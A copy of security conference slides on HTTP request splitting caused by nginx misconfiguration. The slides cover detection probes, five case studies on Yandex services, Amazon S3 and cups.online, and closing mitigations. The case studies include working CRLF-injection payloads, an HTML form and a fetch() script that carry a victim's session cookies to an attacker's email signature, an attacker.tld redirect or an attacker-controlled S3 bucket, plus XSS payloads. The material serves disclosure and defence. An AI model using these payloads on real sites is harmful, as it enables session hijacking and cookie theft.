0% found this document useful (0 votes)
160 views68 pages

HTTP Request Splitting

An HTTP request splitting vulnerability was found in the mail.yandex.ru service. By manipulating the signature parameter in a POST request, an attacker could inject additional HTTP headers and requests, potentially leaking cookies or other sensitive information. Specifically, the vulnerability allowed controlling the Request-URI and injecting custom HTTP headers via CRLF injection in the signature field when submitting forms using multipart/form-data encoding. This could lead to issues like session hijacking or accessing intranet resources.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
160 views68 pages

HTTP Request Splitting

An HTTP request splitting vulnerability was found in the mail.yandex.ru service. By manipulating the signature parameter in a POST request, an attacker could inject additional HTTP headers and requests, potentially leaking cookies or other sensitive information. Specifically, the vulnerability allowed controlling the Request-URI and injecting custom HTTP headers via CRLF injection in the signature field when submitting forms using multipart/form-data encoding. This could lead to issues like session hijacking or accessing intranet resources.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 68

HTTP Request Splitting

vulnerabilities exploitation

Speaker: Sergey Bobrov

@BlackFan
HTTP Splitting

Why is this still relevant in 2023?

▪ nginx is used as a frontend in ~30-50% of sites in the world

▪ it's not nginx vulnerability, it's misconfiguration

2
Nginx misconfiguration

Example of nginx variables that can contain CR LF characters

$uri - Normalized Request-URI value


$document_uri - $uri alias

Variables from regexp with an exclusive range


location ~ /docs/([^/]*)? { … $1 … } # vulnerable
location ~ /docs/(.*)? { … $1 … } # not vulnerable

3
Nginx misconfiguration

Functions that form HTTP request/response structure

rewrite, return, add_header, proxy_set_header, proxy_pass

Classic example (HTTP > HTTPS redirect)

return 302 https://company.tld$uri;

4
CRLF Injection (HTTP Response)

GET /%0D%0ASet-Cookie:%20x=x HTTP/1.1 HTTP/1.1 302 Moved Temporarily


Host: company.tld Date: Mon, 01 Jun 2023 13:37:00 GMT
Location: https://company.tld/
Set-Cookie: x=x

5
CRLF Injection (HTTP Response)

http/1.1

http/2 http/1.1

6
CRLF Injection (HTTP Request)

GET /%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET / HTTP/1.1


Host: company.tld X: x HTTP/1.1
Cookie: sessionid=xxx; Host: www.company.tld
Cookie: sessionid=xxx;

7
CRLF Injection (HTTP Request)

The exploitation and detection of the vulnerability depends on


what can be controlled in the request.

GET /api/[INJ]?foo=bar&baz=[INJ] HTTP/1.1


Host: backend
Cookie: sessionid=xxx;
X-Header: [INJ]

8
Detection methods

http://company.tld/%20X Any HTTP code

http://company.tld/%20H 400 Bad Request

GET / H HTTP/1.1
Host: company.tld
Cookie: sessionid=xxx;

9
Detection methods

http://company.tld/%20HTTP/1.1%0D%0AX:%20x Any HTTP code

http://company.tld/%20HTTP/13.37%0D%0AX:%20x 505 HTTP Version Not Supported

GET / HTTP/13.37
X: x HTTP/1.1
Host: company.tld
Cookie: sessionid=xxx;

10
Detection methods

http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x Any HTTP code

http://company.tld/%20HTTP/1.1%0D%0AHost:%20x 400 Bad Request

GET / HTTP/1.1
Host: x HTTP/1.1
Host: company.tld
Cookie: sessionid=xxx;

11
Detection methods

Vulnerability often is triggered before the authorization check

CRLF Injection Auth check

12
CRLF Injection (HTTP Response)

▪ Exploitation of non-exploitable bugs

▪ XSS via HTTP Header, via raw Request-URI

▪ Possibility to send two+ requests

▪ Potential HTTP Desync attacks

▪ Access to other backend vhosts

▪ Web Cache poisoning vulns

▪ WAF bypass

▪ Attacks that require custom headers

▪ Etc…

13
Case #1
mail.yandex.ru
Case #1: mail.yandex.ru

location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}

GET /lite/api/%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET /lite/api/ HTTP/1.1


Host: mail.yandex.ru X: x HTTP/1.1
Cookie: Session_id=xxx; Host: mail.yandex.ru
Cookie: Session_id=xxx;

15
Case #1: mail.yandex.ru
What can an attacker control in HTTP request?

GET /lite/api/[INJ] HTTP/1.1


Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close

16
Case #1: mail.yandex.ru
Adding custom HTTP headers

GET /lite/api/[INJ] HTTP/1.1


Arbitrary-Header: HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close

17
Case #1: mail.yandex.ru
Partial control of the Request-Path

/%252e%252e/ /%2e%2e/

18
Case #1: mail.yandex.ru
Partial control of the Request-Path

GET /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Arbitrary-Header: HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close

19
Case #1: mail.yandex.ru

Changing the HTTP method (CSRF-like)

POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Arbitrary-Header: HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Connection: close

key=value

20
Case #1: mail.yandex.ru

POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Host: mail.yandex.ru

param= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…]

&param2=value

21
Case #1: mail.yandex.ru

POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Host: mail.yandex.ru
Cookie: Session_id=<attacker_session_id>;

param= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…]

&param2=value

22
Case #1: mail.yandex.ru

Pros and cons of this type of vulnerability exploitation

▪ Exploitation of the vulnerability does not depend ▪ Samesite cookies


on the settings and privileges of the client

▪ Value of the CSRF token is known to the attacker

23
Case #1: mail.yandex.ru

Email signature:

▪ Supports multiline value

▪ Has no limits on the range of


allowed characters

▪ Has no limit on the maximum


length of a value

24
Case #1: mail.yandex.ru

POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1


Host: mail.yandex.ru
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded

_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: mail.yandex.ru
http
body
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding

25
Case #1: mail.yandex.ru

<form
action="https://mail.yandex.ru/lite/api/%252e%252e/%252e%252e/lite/setup-
action.xml%20HTTP/1.1%0D%0AHost:mail.yandex.ru%0D%0ACookie:Session_id=
<attacker_session_id>%3b%0D%0AContent-Length:5000%0D%0A
Content-Type:application/x-www-form-urlencoded%0D%0A%0D%0A
_ckey=<attacker_CSRF_token>&signature="
method="POST">

<input type="hidden" name="x" value="padding[…5000…]padding" />


<input type="submit" value="Submit request" />

</form>
26
Case #1: mail.yandex.ru

POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1


Host: mail.yandex.ru
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded

_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…] signature parameter
contains only this data
&x=padding[…5000…]padding

27
Case #1: mail.yandex.ru

POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1


Host: mail.yandex.ru
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded
Symbol ";" like "&"
is the parameter separator
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding

28
Case #1: mail.yandex.ru

OK, cookie leak is not possible via


application/x-www-form-urlencoded
on this case.

But what about multipart/form-data?

29
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="_ckey"

<attacker_CSRF_token>
--xxx
Content-Disposition: form-data; name="signature"

PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
30
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="_ckey"

<attacker_CSRF_token>
--xxx signature parameter
Content-Disposition: form-data; name="signature" contains only this data

PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
31
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="_ckey"
X-Original-Uri
<attacker_CSRF_token> contains a boundary
--xxx
Content-Disposition: form-data; name="signature"

PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
32
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=x.x

--x.x
Content-Disposition: form-data; name="_ckey"

<attacker_CSRF_token>
--x.x
Content-Disposition: form-data; name="signature"

PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--x%2ex%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--x.x--
padding[…5000…]padding
33
Case #1: mail.yandex.ru

Attacker Session_id

Client Session_id
34
Case #2
direct.yandex.ru
Case #2: direct.yandex.ru

location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;

GET /dna/payment/x%20HTTP/1.1%0D%0AX:x HTTP/1.1 GET /registered/main.pl?cmd=unifiedPayment&


Host: direct.yandex.ru context=payment&native_uri=x HTTP/1.1
Cookie: Session_id=xxx; X:x HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=xxx;

36
Case #2: direct.yandex.ru
The exploitation of the vulnerability is complicated by the static path

GET /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1


CRLF: Injection HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=xxx;

37
Case #2: direct.yandex.ru
What if we use HTTP Parameter Pollution?

GET /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=x
&cmd=foobar HTTP/1.1
CRLF: Injection HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=xxx;

38
Case #2: direct.yandex.ru
The extra GET parameter didn't work, but the POST was successful

POST /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1


CRLF: Injection HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=xxx;
Content-Type: application/x-www-form-urlencoded

cmd=foobar

39
Case #2: direct.yandex.ru
Now we need to find a way to extract the data

sub cmd_unlockCamp :Cmd(unlockCamp)


:Description('разблокировака кампании')
:Rbac(Code => rbac_cmd_by_owners, ExceptRole => [media, superreader,
limited_support])
{
[...]
my %FORM = %{$_[0]{FORM}};
[...]
if($FORM{retpath}) {
return redirect($r, $FORM{retpath});

40
Case #2: direct.yandex.ru
Yep, we will use Open Redirect

POST /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1


CRLF: Injection HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=xxx;
Content-Type: application/x-www-form-urlencoded

cmd=unlockCamp&retpath=/\attacker.tld/

41
Case #2: direct.yandex.ru

CRLF Injection

HTTP Parameter Pollution Leak httpOnly cookie Session_id

Open Redirect

42
Case #2: direct.yandex.ru
POST /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=? HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=<attacker_session_id>;
Content-Type: multipart/form-data; boundary=wrw
Content-Length: 12000

[…]

--wrw
Content-Disposition: form-data; name="retpath"

/\attacker.tld/? HTTP/1.1
Host: direct.yandex.ru
[…]
Cookie: Session_id=xxx;
--wrw--
padding[…12000…]padding

43
Case #2: direct.yandex.ru
CRLF Injection
+
Open Redirect

/\attacker.tld? + Cookie

Session_id
attacker.tld
44
Case #2: direct.yandex.ru

45
Case #2: direct.yandex.ru

Cookie values can contain the # symbol, so the attacker's site needs to save
not only the request data, but also the location.hash.

HTTP/1.1 302 Found


Connection: close
[…]
Location: /\attacker.tld? HTTP/1.0 […] Cookie: param=value#value; Session_id=[…];

46
Case #3
Amazon S3
Case #3: Amazon S3

location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Frans Rosén
https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

48
Case #3: Amazon S3

GET /s3/xss.html%20HTTP/1.1%0d%0aHost:attacker-bucket%0d%0a%0d%0a HTTP/1.1


Host: company.tld
Cookie: sessionid=xxx;

GET /s3/xss.html HTTP/1.1


Host: attacker-bucket

HTTP/1.1
Host: company.tld
Cookie: session=xxx;

49
Case #3: Amazon S3

CRLF Injection

company.tld Amazon s3 company-bucket

public
/s3/xss.html

attacker-bucket
50
Case #3: Amazon S3
This is a great XSS example, but what if we could make it even better?
In fact, we control not only the content stored on S3, but also the bucket
settings

GET /s3/xss.html HTTP/1.1


Host: attacker-bucket

HTTP/1.1
Host: company.tld
Cookie: session=xxx;

51
Case #3: Amazon S3
Set the following bucket policy

{
"Version": "2012-10-17",
"Id": "Policy1687790232544",
"Statement": [
{
"Sid": "Stmt1687790230460",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:PutObject",
"s3:GetObject"
],
"Resource": "arn:aws:s3:::attacker-bucket/*"
}
]
}

52
Case #3: Amazon S3
Now reuses existing XSS for PUT request

<script>
fetch(
'/s3/PoC.txt%20HTTP/1.1%0D%0AHost:attacker-bucket%0D%0AContent-Length:1000%0D%0A%0D%0A',
{
method: 'PUT',
body: 'x'.repeat(1000),
headers: {
'Content-Type': 'text/plain'
},
credentials: 'include'
}
)
</script>

53
Case #3: Amazon S3
Now reuses existing XSS for PUT request

PUT /s3/PoC.txt HTTP/1.1


Host: attacker-bucket
Content-Length: 1000

HTTP/1.1
Host: company.tld
Cookie: secret=value;
Content-Length: 1000

xxx[…1000…]xxx

54
Case #3: Amazon S3
https://attacker-bucket.s3.amazonaws.com/s3/PoC.txt

file
content

55
Case #3: Amazon S3

This exploitation of the vulnerability is relevant in HTTP Splitting on any


object storage. For example:
▪ VK Cloud Storage
▪ Yandex Object Storage

If the storage does not allow unauthorized file uploads, create AccessKey
and add HTTP header to the payloads.
▪ Authorization: AWS <access_key>:<signature>
▪ Date: <current_date>

56
Case #4
q.yandex-team.ru
Case #4: q.yandex-team.ru

proxy_pass http://$proxy_host/chat/internal$uri$is_args$args;
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;

GET /%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET /chat/internal HTTP/1.1


Host: q.yandex-team.ru X: x HTTP/1.1
Host: yandex.ru

58
Case #4: q.yandex-team.ru

Any exploit attempts to move part of the HTTP request into the
HTTP body would return a 302 redirect

GET HTTP/1.1 302 Moved temporarily


/%20HTTP/1.1%0D%0AHost:test.yandex.ru%0D%0A%0D% […]
0A HTTP/1.1 Location: https://yandex.ru/chat/internal/
Host: q.yandex-team.ru

59
Case #4: q.yandex-team.ru

Frontend can use custom headers that affect how the backend
handles the HTTP request

proxy_pass http://$proxy_host/chat/internal$uri$is_args$args;
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;

60
Case #4: q.yandex-team.ru

After forming the correct headers, this turned into a regular


XSS via Host

GET /%20HTTP/1.1%0aX-Yandex-Https:yes%0aHost:--%3E%3Cs%3E123xxx.yandex.ru%0a%0a HTTP/1.1


Host: q.yandex-team.ru

61
Case #5
davmedia.cups.online
Case #5: davmedia.cups.online
Example when the backend supports HTTP pipelining

CRLF Injection

63
Case #5: davmedia.cups.online

GET
/contests/%20HTTP/1.1%0d%0aHost:cups.online%0d%0a%0d%0aGET%20/%3cscript%3ealert(document.domain)
%3c/script%3e%20HTTP/1.1%0d%0aHost:%20xxx%0d%0aX: HTTP/1.1
Host: davmedia.cups.online

GET /contests/ HTTP/1.1


404 Not Found
Host:cups.online Content-Type: text/html

GET /<script>alert(document.domain)</script> HTTP/1.1


Host: xxx
301 Moved Permanently
X: HTTP/1.1
Host: davmedia.cups.online
64
Case #5: davmedia.cups.online

▪ Sometimes an HTTP request


responded with two HTTP responses

▪ Second HTTP response was part


of the HTTP Body of the first
response

▪ Why? ¯\_(ツ)_/¯

65
Case #5: davmedia.cups.online

66
Mitigation

Use $request_uri instead of $uri, $document_uri

In the exclusion ranges of the regular expression, add


whitespace characters (\s).

location ~ /docs/([^/]*)? { … $1 … } # vulnerable


location ~ /docs/([^/\s]*)? { … $1 … } # not vulnerable

67

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy